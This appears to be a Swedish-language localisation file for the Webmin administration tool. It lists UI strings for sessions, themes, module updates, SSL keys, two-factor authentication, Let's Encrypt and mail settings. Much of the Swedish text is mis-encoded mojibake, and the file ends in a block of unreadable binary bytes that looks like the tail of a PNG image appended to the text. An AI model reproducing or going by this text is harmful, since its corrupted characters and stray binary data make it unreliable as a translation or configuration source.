session_extauth=Externt autentiseringsprogram för blÀckfiskstil
session_eextauth=Saknas eller ogiltigt externt autentiseringsprogram
session_pmodedesc3=Lösenordens utgÄngspolicy
session_pmode0=Neka alltid anvÀndare med lösenord som löpt ut
session_pmode1=TillÄt alltid anvÀndare med lösenord som löpt ut
session_pmode2=Be anvÀndare med lösenord som löpt ut att ange ett nytt
session_md5=Webmin-lösenord hashingformat
session_md5off=AnvÀnd standard Unix <tt>crypt</tt> -kryptering
session_md5on=AnvÀnd MD5-kryptering
session_sha512=AnvÀnd SHA512-kryptering
session_emd5mod=MD5-kryptering kan inte anvÀndas, eftersom Perl $1 -modulen inte Àr installerad.
session_esha512mod=SHA512-kryptering kan inte anvÀndas, eftersom Perl $1 -modulen inte Àr installerad.
session_blocklock=LÄs ocksÄ anvÀndare med misslyckade inloggningar
session_passapi=Aktivera fjÀrranslutet lösenordsbyte -API?
session_passapi0=API inaktiverat
session_passapi1=API aktiverat för Unix -anvÀndare
session_passurl=NÀr det Àr aktiverat kan anvÀndarlösenord Àndras via en POST -begÀran till $1

assignment_ok=Byt kategorier
assignment_desc=Detta formulÀr lÄter dig konfigurera vilken kategori varje modul visas under pÄ Webmin indexsida.

categories_desc=Det hÀr formulÀret lÄter dig byta namn pÄ befintliga Webmin-kategorier och skapa nya att tilldela moduler till. Den översta delen av tabellen Àr för att Àndra beskrivningarna av de inbyggda kategorierna, medan den nedre delen Àr för att lÀgga till nya kategori-ID och beskrivningar.
categories_ok=Spara kategorier
categories_err=Det gick inte att spara kategorier
categories_edesc=Saknas beskrivning för $1
categories_ecat=Kategori-ID $1 har redan tagits
categories_code=ID
categories_name=Visad beskrivning
categories_lang=Redigera kategorier pÄ sprÄk:
categories_langok=FörÀndra
categories_custom=BestÀllnings

log_osdn=Ändrade nedladdningsalternativ
log_twofactor=Ändrade alternativ med tvĂ„faktorautentisering
log_newkey=Skapat ny SSL-nyckel
log_newcsr=Skapat ny SSL CSR
log_mobile=Ändrade alternativ för mobilenheter
log_descs=Ändrade modultitlar
log_advanced=Ändrade avancerade alternativ
log_web=Ändrade alternativ för webbserver
log_osdnclear=Rensat cache för nedladdning
log_savekey=Laddat upp befintlig SSL-nyckel
log_deletecache=Raderade $1 URL: er frÄn cache
log_clearcache=Rensade alla URL: er frÄn cache
log_lock=Ändrad fillĂ„sning
log_sendmail=Ändrade alternativ för e-postsĂ€ndning
log_debug=Ändrade alternativ för felsökningsloggfiler
log_delete_webmincron=Raderade $1 schemalagda funktioner
log_run_webmincron=Ran $1 schemalagda funktioner
log_save_webmincron=Uppdaterad schemalagd funktion i modulen $1
log_onedelete_webmincron=Raderad schemalagd funktion i modulen $1
log_letsencrypt=BegÀrde nytt SSL-certifikat frÄn Let's Encrypt
log_letsencryptdns=Skapade Let's Encrypt DNS-post för $1
log_letsencryptcleanup=Borttagit lÄt oss kryptera DNS-post för $1

themes_none=Inget - lÄt tema bestÀmma
themes_overdesc=ÖverlĂ€gg Ă€ndrar utseendet pĂ„ ett tema genom att Ă€ndra fĂ€rger, bakgrunder och ikoner. De Ă€ndrar inte layouten.
themes_overlay=Nuvarande överlÀgg :
themes_tabchange=Ändra tema
themes_taboverlay=Ändra överlĂ€gg
themes_tabinstall=Installera tema
themes_tabdelete=Ta bort teman
themes_tabexport=Exportera teman

themes_line=$1 i $2 ($3 kB)
themes_ok2=TemaöverlÀgg Àndras framgÄngsrikt.. omdirigering till Webmin indexsida.
themes_delete=Det hÀr formulÀret kan anvÀndas för att ta bort ett av de teman som Àr installerade pÄ ditt system som för nÀrvarande inte anvÀnds.
themes_delok=Tema att radera :
themes_return=temalista
themes_err4=Det gick inte att Àndra överlÀggets tema
themes_eoverlay=Valt överlÀgg Àr inte kompatibelt med det aktuella globala temat

themes_desc4=Installerade teman kan exporteras som en wbt.gz-fil med hjÀlp av formulÀret nedan. En temafil kan sedan installeras pÄ ett annat system som kör Webmin.
themes_exportmods=Teman att exportera
themes_exportok=Exportera valda teman

referers_none2=VARNING: Detta öppnar ditt system för XSS-attacker!
referers_err=Det gick inte att spara referenser
referers_ehost='$1' Àr inte ett giltigt betrodd vÀrdnamn

update_err=Det gick inte att uppdatera moduler
update_eurl=Saknad eller ogiltig uppdateringsadress
update_title=Uppdatera moduler
update_info=Uppdaterar Webmin-moduler ..
update_mmissing=Modul $1 Àr inte installerad pÄ det hÀr systemet.
update_malready=Modul $1 Àr redan uppdaterad.
update_mshow=Uppdatering behövs för modul $1 till version $2.
update_mok=Uppdatering av modul $1 till version $2.
update_fixes=Löser problemet
update_mdesc=Installerad modul $1 ($2 kB)
update_mos=Uppdatering till modul $1 behövs inte pÄ ditt system.
update_mtype=Modul $1 kan inte uppdateras eftersom den installerades frÄn ett $2 paket
update_efile=Ogiltig modul uppdaterar kÀllfilen
update_ehour=Saknas eller ogiltig timme att uppdatera den
update_emins=Saknas eller ogiltig minut att uppdatera pÄ
update_edays=Saknas eller ogiltigt antal dagar
update_rv=Letar efter uppdaterade Webmin-moduler frÄn $1
update_eemail=Du mÄste ange en e-postadress om du bara visar vad som skulle uppdateras.
update_subject=Webmin-moduler uppdaterar rapporten
update_version=En ny version av Webmin (version $1) Àr nu tillgÀnglig för nedladdning. Framtida uppdateringar slÀpps endast för den senaste versionen.

anon_title=Anonym modulÄtkomst
anon_desc=PÄ denna sida kan du ge Ätkomst till utvalda Webmin-moduler och sökvÀgar utan att klienter behöver logga in. För varje modulvÀg som du anger nedan (till exempel <tt>/custom</tt> eller <tt>/passwd</tt>) mÄste du ocksÄ ange namnet pÄ en Webmin-anvÀndare vars behörigheter kommer att anvÀndas för Ätkomst till modul.
anon_desc2=Du bör vara mycket försiktig nÀr du tillhandahÄller anonym Ätkomst, eftersom otillrÀckliga IP-Ätkomstkontroller eller beviljar Ätkomst till fel modul kan göra det möjligt för angripare att ta över ditt system.
anon_url=URL-sökvÀg
anon_user=Webmin-anvÀndare
anon_err=Det gick inte att spara anonym Ätkomst
anon_eurl='$1' Àr inte en giltig URL-sökvÀg
anon_euser=Saknad eller ogiltig Webmin-anvÀndare för URL-sökvÀg '$1'

enogpg=GnuPG Àr inte installerat

standard_failed=Det gick inte att ladda ner modullistan : $1
standard_header=Standard Webmin-moduler
standard_warn=Varning - du kör inte den senaste Webmin-versionen $1, sÄ dessa moduler kommer antagligen inte att installeras.
standard_eurl=Ogiltig standardmodul-URL

third_failed=Det gick inte att ladda ner modullistan : $1
third_header=Tredjeparts Webmin-moduler
third_eurl=Ogiltig URL frÄn tredjepartsmoduler
third_title=VĂ€lj tredjepartsmodul

lock_title=FillÄsning
lock_desc=Som standard kommer Webmin att fÄ ett lÄs pÄ alla filer som den modifierar för att förhindra samtidiga Àndringar av flera processer, vilket kan leda till filkorruption. PÄ denna sida kan du selektivt eller helt inaktivera lÄsning om det orsakar problem.
lock_header=InstÀllningar för fillÄsning
lock_all=LÄs alla filer
lock_none=LÄs aldrig filer
lock_only=LÄs bara filer och kataloger ..
lock_except=LÄs alla filer och kataloger utom. ..
lock_err=Det gick inte att spara fillÄsning
lock_edir='$1' Àr inte en absolut vÀg
lock_edirs=Inga filer eller kataloger anges

ipkey_title1=Skapa SSL-nyckel
ipkey_title2=Redigera SSL-nyckel
ipkey_header=IP-specifika SSL-nyckeldetaljer
ipkey_ips2=För IP-adresser och vÀrdnamn
ipkey_err=Det gick inte att spara SSL-nyckel
ipkey_eip2='$1' Àr inte en giltig IP-adress eller vÀrdnamn
ipkey_eips=Inga IP-adresser angivna
ipkey_eextracas=Inga ytterligare certifikatfiler anges
ipkey_eextraca=Ytterligare certifikatfil $1 finns inte

descs_title=Modultitlar
descs_info=PÄ denna sida kan du ange alternativa titlar för Webmin-moduler för att ÄsidosÀtta standardbeskrivningarna.
descs_mod=Modul
descs_cmod=Originalmodul
descs_desc=Ny titel
descs_cdesc=Klon titel
descs_err=Det gick inte att spara modultitlar
descs_edesc=Titel saknas för modulen '$1'
descs_etitle=Titel saknas för klon "$1"

export_err=Det gick inte att exportera moduler
export_ecmd=Saknas kommando $1
export_efile=Saknad eller ogiltig exportfil
export_done=Exporterade de valda modulerna till $1.
export_title=Exportera moduler

advanced_title=Avancerade alternativ
advanced_tdd=Rensa temp-filer i icke-standardkatalog?
advanced_preload=Förbelasta Webmin-funktionsbiblioteket?
advanced_precache=Textfiler till förcache?
advanced_precache2=Filer som matchar skalmönster $1
advanced_eprecache=Saknad lista över skalmönster för förcache
advanced_etempallowed=Katalogen för temporÀra filer $1 Àr en systemkatalog
advanced_pass=Gör lösenord tillgÀngligt för Webmin-program? <br><font size=-1> (Fungerar inte nÀr sessionens autentisering Àr aktiverad) </font>
advanced_tempmods=TillfÀlliga kataloger per modul
advanced_tmod=Modul
advanced_stack=Visa stapelspÄr för felmeddelanden?
advanced_umask=Umask (ÄterstÀll behörighetsbitar) för skapade filer
advanced_chattr=TillÄter modifiering av immutable filer?
advanced_sclass=IO-klass för schemalagda jobb
advanced_sprio=IO-prioritet för schemalagda jobb
advanced_gzip=Gzip-komprimera statiska filer?
advanced_gzipauto=Endast om förkomprimerad.gz-fil finns
advanced_gzip1=AnvÀnd förkomprimerad fil och komprimera dynamiskt
advanced_egzip=Gzip-komprimering kan inte aktiveras om inte $1 perl-modulen Àr installerad
advanced_redir=URL-format för omdirigeringar
advanced_redir1=Endast vÀg
advanced_redir0=Protokoll, vÀrd, port och vÀg
advanced_listdir=Lista kataloger utan en indexfil?
advanced_headers=Extra HTTP-rubriker
advanced_eheader=Rubriker mÄste formateras som <tt>Header: Value</tt>
advanced_sortconfigs=Spara konfigurationsfiler sorterade efter dess nycklar?
advanced_bufsize=NĂ€tverksbuffertstorlek i byte
advanced_ebufsize=NÀtverksbuffertstorleken mÄste vara ett tal större Àn noll

syslog_errorlog=Webmin-fellogg

clear_title=Rensa nedladdningscache
clear_done=Webmin-cachen som innehÄller $1 av filer frÄn $2 URL: er har raderats.
clear_none=Det finns för nÀrvarande inga webbadresser i Webmin-nedladdningscachen.

savekey_err=Det gick inte att spara ny nyckel
savekey_ekey=Saknar eller ogiltig PEM-formatnyckel
savekey_ecert=Saknas eller ogiltigt PEM-formatcertifikat
savekey_ecert2=Saknar eller ogiltig PEM-formatnyckel och certifikat
savekey_echain=Saknat eller ogiltigt PEM-format kedjat certifikat
savekey_title=Ladda upp befintlig nyckel
savekey_done2=Den medföljande SSL-nyckeln har sparats i $1 och certifikatet i $2.
savekey_done=Den medföljande SSL-nyckeln och certifikatet har sparats i filen $1.
savekey_done3=Det medföljande kedjade SSL-certifikatet har sparats i filen $1.

cache_title=Cachade URL: er
cache_search=Hitta webbadresser som innehÄller:
cache_ok=Sök
cache_none=Inga cachade webbadresser matchade din sökning.
cache_matches=Hittade $1 cachade URL: er som matchar din sökning ..
cache_url=FullstÀndig URL
cache_size=Storlek
cache_date=HĂ€mtade
cache_delete=Spola valt frÄn cache
cache_err=Det gick inte att spola cachade URL: er
cache_enone=Ingen vald
cache_efile=Ogiltigt filnamn

restart_title=Starta om Webmin
restart_done=Webmin-serverprocessen startar nu om igen - vÀnta nÄgra sekunder innan du fortsÀtter.

mobile_title=Alternativ för mobila enheter
mobile_header=Alternativ för mobila webblÀsare
mobile_theme=Tema för mobila webblÀsare
mobile_themeglob=&lt;AnvÀndarens val eller global konfiguration&gt;
mobile_nosession=Tvinga anvÀndning av HTTP-autentisering?
mobile_agents=Ytterligare anvÀndaragenter för mobila webblÀsare
mobile_err=Det gick inte att spara alternativ för mobil enhet
mobile_prefixes=URL-vÀrdnamnsprefix för mobila webblÀsare

blocked_title=Blockerade vÀrdar och anvÀndare
blocked_type=Typ
blocked_who=VÀrdnamn eller anvÀndarnamn
blocked_fails=Inloggningsfel
blocked_when=Blockerad kl
blocked_none=Inga vÀrdar eller anvÀndare Àr för nÀrvarande blockerade av Webmin.
blocked_user=Webmin-anvÀndare
blocked_host=KundvÀrd
blocked_clear=Rensa alla block
blocked_cleardesc=Klicka pÄ den hÀr knappen för att rensa alla aktuella vÀrd- och anvÀndarblock genom att starta om Webmin-serverprocessen.
blocked_restarting=Webmin-serverprocessen startar nu om för att rensa blockerade vÀrdar och anvÀndare - vÀnta nÄgra sekunder innan du fortsÀtter.

refreshmods_title=Uppdatera moduler
refreshmods_installed=Letar efter anvÀndbara Webmin-moduler ..
refeshmods_counts=.. hittade $2 med installerade applikationer, $1 inte installerat.

debug_title=Debugging Log File
debug_header=Webmin-felsökningsloggfiler
debug_enabled=Felsökningslogg aktiverad?
debug_what=HĂ€ndelser att logga in
debug_what_start=Skript som startar och stoppar
debug_what_write=Filer öppnas för skrivning
debug_what_read=Filer öppnas för lÀsning
debug_what_ops=Andra filoperationer
debug_what_procs=Verksamhet pÄ processer
debug_what_diff=Konfigurationsfilen skiljer sig
debug_what_cmd=Kommandon utförda
debug_what_net=NĂ€tverksanslutningar gjorda
debug_what_sql=SQL körs
debug_file=Felsökning loggfil
debug_size=Maximal storlek för loggfil
debug_err=Det gick inte att spara felsökningsalternativ
debug_ewhat=Inga hÀndelser att logga valda
debug_efile=Felsökningsloggfilen mÄste vara en absolut sökvÀg
debug_edir=Katalogen "$1" för felsökningsloggfilen finns inte
debug_esize=Maximal storlek mÄste vara ett nummer
debug_procs=Skripttyper att felsöka
debug_modules=BegrÀnsa felsökning till moduler
debug_web=WebbgrÀnssnitt CGI: er
debug_cmd=Kommandorad
debug_cron=Bakgrund jobb
debug_inmods=Moduler att skriva felsökningsloggar för
debug_emodules=Inga moduler att felsöka för valda

notif_passexpired=Ditt lösenord för Webmin har gÄtt ut! Du kommer att tvingas Àndra det vid nÀsta inloggning.
notif_passchange=Ditt Webmin-lösenord Àndrades senast pÄ $1 och mÄste Àndras under $2 dagar.
notif_passlock=Ditt lösenord för Webmin Àndrades senast $1, och ditt konto kommer att lÄsas i $2 dagar om det inte Àndras.
notif_changenow=Du kan <a href='$1'>Ă€ndra ditt lösenord nu</a> i modulen Ändra sprĂ„k och tema.
notif_unixwarn=Ditt Unix-lösenord Àndrades senast pÄ $1, och mÄste Àndras under $2 dagar.
notif_unixexpired=Ditt Unix-lösenord har gÄtt ut! Du kommer att tvingas Àndra det vid nÀsta inloggning.
notif_upgrade=Webmin version $1 Àr nu tillgÀnglig, men du kör version $2.
notif_upgradeok=Uppgradera Webmin nu
notif_updatemsg=$1 efter Webmin-moduluppdateringarna Àr nu tillgÀngliga ..
notify_updatemod=Modul
notify_updatever=Version
notify_updatedesc=Löser problemet
notif_updateok=Installera uppdateringar nu
notif_reboot=Nya paketuppdateringar (t.ex. en ny kÀrnversion) krÀver att en omstart ska tillÀmpas fullt ut.
notif_rebootok=Starta om nu

status_title=Bakgrundsstatussamling
status_header=InstÀllningar för statussamling
status_interval=Samla systemstatus i bakgrunden?
status_interval1=Aldrig
status_interval0=Varje
status_mins=minuter
status_pkgs=Samla tillgÀngliga paketuppdateringar?
status_temp=Samla körtemperaturer?
status_units=Enheter för temperaturer
status_celsius=Celsius
status_fahrenheit=Fahrenheit
status_err=Det gick inte att spara samlingen av bakgrundsstatus
status_einterval=Samlingsintervallet mÄste vara ett heltal

sendmail_title=Skickar e-post
sendmail_desc=Denna sida styr hur Webmin skickar e-post, till exempel frÄn schemalagda sÀkerhetskopior eller övervakning av bakgrunden. Det pÄverkar ocksÄ e-postmeddelanden som skickas med modulen Read User Mail.
sendmail_header=Alternativ för e-postsÀndning
sendmail_system=Lokal e-postserver
sendmail_smtp=Skicka e-post med
sendmail_port=SMTP-port
sendmail_portdef=AnvÀnd standardport
sendmail_portsel=AnvÀnd portnummer
sendmail_ssl=AnvÀnd SSL-kryptering?
sendmail_ssl0=Kryptera aldrig
sendmail_ssl1=AnvÀnd alltid TLS
sendmail_ssl2=Byt med STARTTLS
sendmail_smtp0=Lokalt e-postserverkommando
sendmail_smtp1=Via SMTP till lokal e-postserver
sendmail_smtp2=Via SMTP till fjÀrrmailserver
sendmail_login=SMTP-serververifiering
sendmail_login1=Autentisera inte
sendmail_login0=Logga in som
sendmail_pass=med lösenord
sendmail_auth=SMTP-autentiseringsmetod
sendmail_authdef=Standard (för nÀrvarande Cram-MD5)
sendmail_from=FrÄn adress för e-post frÄn Webmin
sendmail_fromdef=Standard ($1)
sendmail_fromaddr=Adress
sendmail_err=Det gick inte att spara e-postöverföringsalternativ
sendmail_esmtp=Saknad eller oupplösbar vÀrdnamn för SMTP-servern
sendmail_eport=Saknad eller icke-numerisk SMTP-port
sendmail_elogin=Saknar inloggning för SMTP-server
sendmail_esasl=SMTP-autentisering kan inte aktiveras om inte <a href=$1>$2</a> Perl-modulen Àr installerad.
sendmail_efrom=Saknas eller felaktigt formaterad frÄn adress
sendmail_header2=Skicka testmeddelande
sendmail_to=Skicka meddelande till
sendmail_subject=Meddelandets Ämne
sendmail_body=MeddelandeinnehÄll
sendmail_desc2=Detta formulÀr kan anvÀndas för att skicka ett testmeddelande med ovanstÄende instÀllningar, för att sÀkerstÀlla att e-post levereras korrekt.
sendmail_send=Skicka epost
sendmail_url=Webmin URL för anvÀndning i e-post
sendmail_url_def=Standard ($1)
sendmail_url_custom=Anpassad URL
sendmail_eurl=Saknad eller ogiltig anpassad webbadress

testmail_title=Skicka testmeddelande
testmail_err=Det gick inte att skicka testmeddelandet
testmail_eto=Ingen destinationsadress anges
testmail_sending=Skickar meddelande frÄn $1 till $2 ..
testmail_done=.. meddelande skickat. Kontrollera destinationsadressens postlÄda för att se till att den faktiskt levererades.
testmail_failed=.. sÀndningen misslyckades : $1

web_title=Webbserveralternativ
web_header=Alternativ för Webmins inbyggda webbserver
web_expires=Cachetid pÄ klientsidan för statiska filer
web_expiresdef=Webmin standard (7 dagar)
web_expiressecs=Tid i sekunder
web_err=Det gick inte att spara webbserveralternativ
web_eexpires=Cache-cachetid för saknad eller icke-numerisk sida
web_expirespaths=Cachetider pÄ klientsidan baserat pÄ URL-sökvÀg
web_expirespath=SökvÀg regelbundet uttryck
web_expirestime=Cache-tid i sekunder
web_eexpires2=Saknad cache-cache-tid i sak $1
web_rediruurl=Omdirigeringsadress för switch efter inloggning
web_redirdesc=Intern omdirigeringsadress ÄsidosÀtter
web_eredirurl='$1' innehÄller mellanslag och Àr inte en giltig URL
web_redirhost=Omdirigera vÀrd
web_eredirhost='$1' Àr inte ett giltigt vÀrdnamn
web_redirport=Omdirigera port
web_redirpref=Omdirigera prefix
web_eredirpref=Prefix mÄste börja med snedstreck
web_eredirpref2=Prefix fÄr inte innehÄlla mellanslag
web_redirssl=Omdirigera SSL

webmincron_title=Webmin schemalagda funktioner
webmincron_emodule=Webmin Cron Jobs-modulen Àr inte installerad!
webmincron_module=Webmin-modul
webmincron_func=Funktionsnamn
webmincron_args=parametrar
webmincron_when=Spring till
webmincron_none=Inga Webmin schemalagda funktioner har skapats Àn. Dessa skapas vanligtvis av andra moduler, inte av anvÀndare.
webmincron_delete=Radera valda funktioner
webmincron_run=Kör utvalda funktioner nu
webmincron_derr=Det gick inte att ta bort schemalagda funktioner
webmincron_enone=Ingen vald
webmincron_rerr=Det gick inte att köra raderade schemalagda funktioner
webmincron_running=Körningsfunktion $2 i $1 ..
webmincron_failed=.. misslyckades : $1
webmincron_done=.. Gjort
webmincron_return=lista över schemalagda funktioner
webmincron_header=Planerade funktionsdetaljer
webmincron_egone=Schemalagd funktion finns inte!
webmincron_when0=Regelbundet intervall
webmincron_when1=Specifika tider
webmincron_secs=sekunder
webmincron_err=Det gick inte att spara schemalagd funktion
webmincron_einterval=Intervallet mÄste vara ett antal sekunder större Àn noll

twofactor_title=TvÄfaktorautentisering
twofactor_header=TvÄfaktors autentiseringsalternativ
twofactor_provider=Verifieringsleverantör
twofactor_none=Ingen
twofactor_apikey=Autentisk API-nyckel
twofactor_test=AnvÀnd leverantörens testlÀge?
twofactor_desc=TvÄfaktorautentisering gör att Webmin-anvÀndare kan aktivera anvÀndning av en extra autentiseringsenhet vid inloggning, t.ex. en engÄngskodgenerator. AnvÀndare mÄste registrera sig individuellt hos den valda autentiseringsleverantören efter att den har aktiverats pÄ den hÀr sidan.
twofactor_err=Det gick inte att spara tvÄfaktorautentisering
twofactor_eprovider=Ogiltig leverantör!
twofactor_eusers=TvÄfaktorsautentisering kan inte inaktiveras, eftersom följande anvÀndare för nÀrvarande Àr registrerade : $1
twofactor_eapikey=API-nyckel saknas eller ogiltig
twofactor_email=din e-postadress
twofactor_country=Landsnummer för mobiltelefon
twofactor_phone=Mobiltelefonnummer
twofactor_eemail=Saknad eller ogiltig e-postadress - mÄste formateras som user@domain.com
twofactor_ecountry=Saknad eller ogiltig landskod - mÄste vara ett nummer, som 65
twofactor_ephone=Telefonnummer saknas eller ogiltigt - endast siffror, streck och mellanslag Àr tillÄtna
twofactor_eauthykey=Authy API-nyckeln Àr inte giltig eller gÀller fel lÀge
twofactor_eauthy=Fel vid validering av API-nyckel med Authy : $1
twofactor_eauthyenroll=Registreringen misslyckades : $1
twofactor_eauthyid=Autentisk anvÀndar-ID mÄste vara ett nummer
twofactor_eauthytoken=Autentisk token mÄste vara ett nummer
twofactor_eauthyotp=Autentisk token Àr ogiltig
twofactor_enrolllink=Du kan nu registrera dig för tvÄfaktorautentisering i <a href='$1'>Webmin-anvÀndare</a> -modulen.
twofactor_url=Om du vill veta mer om $1, se webbplatsen pÄ <a href='$2' target=_blank>$2</a>.
twofactor_etotpmodule=Perl-modulen <tt>$1</tt> som behövs för tvÄfaktorautentisering Àr inte installerad. AnvÀnd sidan <a href='$2'>Perl Modules</a> i Webmin för att installera den.
twofactor_qrcode=Ange den hemliga koden $1 i appen Google Authenticator, eller skanna QR-koden nedan.
twofactor_etotpid=Ogiltig TOTP-bas32-kodad hemlighet
twofactor_etotptoken=Google Authenticator-token mÄste vara ett nummer
twofactor_etotpmodule2=Perl-modul saknas $1
twofactor_etotpmatch=Felaktig OTP-kod
twofactor_secret=Personlig hemlig nyckel
twofactor_secret1=Genereras slumpmÀssigt
twofactor_secret0=AnvÀnd en tangent med 16 tecken
twofactor_esecret=Den hemliga nyckeln mÄste vara exakt 16 tecken lÄng och endast innehÄlla bokstÀver och siffror
twofactor_esession=TvÄfaktorsautentisering kan inte anvÀndas om inte sessionbaserad autentisering Àr aktiv

letsencrypt_title=LÄt oss kryptera certifikatbegÀran
letsencrypt_err=Det gick inte att begÀra certifikat
letsencrypt_ecmds=Varken kommandot Let's Encrypt-klient <tt>certbot</tt> eller <tt>python</tt> hittades i ditt system
letsencrypt_epythonmod=Python-modulen $1 som behövs av den inbyggda Let's Encrypt-klienten Àr inte installerad
letsencrypt_epythonver=Det gick inte att fÄ Python-versionen : $1
letsencrypt_epythonver2=Python version $1 eller högre krÀvs, men du har bara version $2.
letsencrypt_certbot=Certbot
letsencrypt_edroot=Den virtuella Apache-vÀrden $1 har ingen dokumentkatalog!
letsencrypt_edom=Saknat eller ogiltigt domÀnnamn
letsencrypt_erenew=FörlÀngningsintervall saknas eller inte
letsencrypt_ewebroot=Webbplatsdokumentkatalog finns inte
letsencrypt_evhost=Ingen virtuell vÀrd matchande $1 hittades
letsencrypt_efull=FörvÀntad fullstÀndig certifikatfil $1 hittades inte
letsencrypt_ecert=FörvÀntad certifikatfil $1 hittades inte
letsencrypt_ekey=FörvÀntad privat nyckelfil $1 hittades inte
letsencrypt_doing=BegÀr ett nytt certifikat för $1 med webbplatskatalogen $2 ..
letsencrypt_doingdns=BegÀr ett nytt certifikat för $1 med hjÀlp av DNS-validering ..
letsencrypt_failed=.. begÀran misslyckades : $1
letsencrypt_done=.. begÀran lyckades!
letsencrypt_show=Det nya certifikatet och den privata nyckeln skrevs till följande filer :
letsencrypt_cert=SSL-certifikat
letsencrypt_key=SSL privat nyckel
letsencrypt_chain=Kedjat CA-certifikat
letsencrypt_webmin=Konfigurerar Webmin för att anvÀnda ny cert och nyckel ..
letsencrypt_wdone=.. Gjort!
letsencrypt_eaccountkey=Det gick inte att skapa kontonyckel : $1
letsencrypt_etiny=Det gick inte att begÀra certifikat : $1
letsencrypt_echain=Det gick inte att ladda ner kedjat certifikat : $1
letsencrypt_echain2=Kedjat certifikat nedladdat frÄn $1 Àr tomt
letsencrypt_ecsr=Det gick inte att generera CSR : $1
letsencrypt_ekeygen=Det gick inte att generera privat nyckel : $1
letsencrypt_enative=Den ursprungliga Let's Encrypt-klienten (certbot) anvÀndes tidigare i detta system och mÄste anvÀndas för alla framtida certifikatbegÀranden
letsencrypt_eacmedns=Endast den officiella Let's Encrypt-klienten stöder DNS-baserad validering

announce_hide=Dölj detta tillkÀnnagivande
alert_hide=Dölj varning
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚